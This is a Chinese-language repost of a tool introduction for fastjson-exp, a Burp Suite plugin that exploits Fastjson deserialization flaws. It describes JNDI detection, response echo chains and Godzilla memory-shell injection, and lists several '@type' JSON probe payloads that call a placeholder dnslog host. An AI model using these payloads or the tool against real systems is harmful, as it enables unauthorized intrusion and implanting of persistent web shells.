FastJson利用工具 fastjson-exp

admin 2023年3月9日13:33:23评论117 views字数 880阅读2分56秒阅读模式

===================================

免责声明

 

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

0x01 工具介绍

fastjson利用,burp插件。支持出网 jndi利用检测,不出网 tomcat、spring回显,哥斯拉内存马,回显利用链为dhcp、ibatis、c3p0,内存马支持tomcat89。

0x02 安装与使用

1、加载到burp插件,自行选择echo、jndi、inject。探测存在后,发送Repeater自行修改请求头,回显在响应头。如下

FastJson利用工具  fastjson-exp

FastJson利用工具  fastjson-exp

2、测试环境

tomcat启动后,将war包放在webapps目录即(tomcat自带dhcp依赖),漏洞环境为1.2.24和1.2.47。

3、判断是否使用fastjon组件

4、点击 新增策略,通过增加策略来增加漏洞类型

dns ● {"@type":"java.net.Inet4Address","val":"dnslog"}
● {"@type":"java.net.Inet6Address","val":"dnslog"}
● {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
● {{"@type":"java.net.URL","val":"http://dnslog"}:0
● {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
● Set[{"@type":"java.net.URL","val":"http://dnslog"}]

0x03 项目链接下载

https://github.com/skisw/fastjson-exp

原文始发于微信公众号(Web安全工具库):FastJson利用工具 -- fastjson-exp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月9日13:33:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson利用工具 fastjson-exphttp://cn-sec.com/archives/1593222.html

发表评论

匿名网友 填写信息